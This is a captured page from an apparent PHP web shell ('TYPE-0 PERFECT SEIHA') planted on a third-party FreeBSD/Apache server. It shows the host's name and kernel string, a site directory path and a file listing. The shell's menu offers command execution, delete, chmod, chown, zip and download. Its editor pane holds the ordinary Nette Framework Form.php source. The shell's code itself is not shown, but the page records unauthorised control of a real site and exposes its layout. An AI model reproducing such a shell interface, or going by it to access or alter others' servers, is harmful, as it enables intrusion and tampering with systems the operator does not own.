TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
addlogo
home
vendor
nette
application
src
Application
UI
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/addlogo/home/vendor/nette/application/src/Application/UI/Form.php
<?php /** * This file is part of the Nette Framework (http://nette.org) * Copyright (c) 2004 David Grudl (http://davidgrudl.com) */ namespace Nette\Application\UI; use Nette; /** * Web form adapted for Presenter. * * @property-read Presenter $presenter */ class Form extends Nette\Forms\Form implements ISignalReceiver { /** * Application form constructor. */ public function __construct(Nette\ComponentModel\IContainer $parent = NULL, $name = NULL) { parent::__construct(); if ($parent !== NULL) { $parent->addComponent($this, $name); } } /** * @return void */ protected function validateParent(Nette\ComponentModel\IContainer $parent) { parent::validateParent($parent); $this->monitor('Nette\Application\UI\Presenter'); } /** * Returns the presenter where this component belongs to. * @param bool throw exception if presenter doesn't exist? * @return Presenter|NULL */ public function getPresenter($need = TRUE) { return $this->lookup('Nette\Application\UI\Presenter', $need); } /** * This method will be called when the component (or component's parent) * becomes attached to a monitored object. Do not call this method yourself. * @param Nette\ComponentModel\IComponent * @return void */ protected function attached($presenter) { if ($presenter instanceof Presenter) { $name = $this->lookupPath('Nette\Application\UI\Presenter'); if (!isset($this->getElementPrototype()->id)) { $this->getElementPrototype()->id = 'frm-' . $name; } if (iterator_count($this->getControls()) && $this->isSubmitted()) { foreach ($this->getControls() as $control) { if (!$control->isDisabled()) { $control->loadHttpData(); } } } if (!$this->getAction()) { $this->setAction(new Link($presenter, 'this', array())); $signal = new Nette\Forms\Controls\HiddenField($name . self::NAME_SEPARATOR . 'submit'); $signal->setOmitted()->setHtmlId(FALSE); $this[Presenter::SIGNAL_KEY] = $signal; } } parent::attached($presenter); } /** * Tells if the form is anchored. * @return bool */ public function isAnchored() { return (bool) $this->getPresenter(FALSE); } /** * Internal: returns submitted HTTP data or NULL when form was not submitted. * @return array|NULL */ protected function receiveHttpData() { $presenter = $this->getPresenter(); if (!$presenter->isSignalReceiver($this, 'submit')) { return; } $isPost = $this->getMethod() === self::POST; $request = $presenter->getRequest(); if ($request->isMethod('forward') || $request->isMethod('post') !== $isPost) { return; } if ($isPost) { return Nette\Utils\Arrays::mergeTree($request->getPost(), $request->getFiles()); } else { return $request->getParameters(); } } /********************* interface ISignalReceiver ****************d*g**/ /** * This method is called by presenter. * @param string * @return void */ public function signalReceived($signal) { if ($signal === 'submit') { if (!$this->getPresenter()->getRequest()->hasFlag(Nette\Application\Request::RESTORED)) { $this->fireEvents(); } } else { $class = get_class($this); throw new BadSignalException("Missing handler for signal '$signal' in $class."); } } }
Crotin
Name
Size
Permissions
Modified
User/Group
PresenterComponentReflection.php
4772
0644
2015-09-30 18:29:15
Unknown/Unknown
IStatePersistent.php
472
0644
2015-09-30 18:29:14
Unknown/Unknown
ISignalReceiver.php
353
0644
2015-09-30 18:29:15
Unknown/Unknown
ITemplate.php
493
0644
2015-09-30 18:29:14
Unknown/Unknown
Form.php
3298
0644
2015-09-30 18:29:15
Unknown/Unknown
PresenterComponent.php
10283
0644
2015-09-30 18:29:14
Unknown/Unknown
Control.php
3931
0644
2015-09-30 18:29:15
Unknown/Unknown
Multiplier.php
572
0644
2015-09-30 18:29:15
Unknown/Unknown
Link.php
1811
0644
2015-09-30 18:29:14
Unknown/Unknown
ITemplateFactory.php
325
0644
2015-09-30 18:29:14
Unknown/Unknown
BadSignalException.php
329
0644
2015-09-30 18:29:15
Unknown/Unknown
InvalidLinkException.php
259
0644
2015-09-30 18:29:15
Unknown/Unknown
IRenderable.php
428
0644
2015-09-30 18:29:14
Unknown/Unknown
Presenter.php
35376
0644
2015-09-30 18:29:14
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin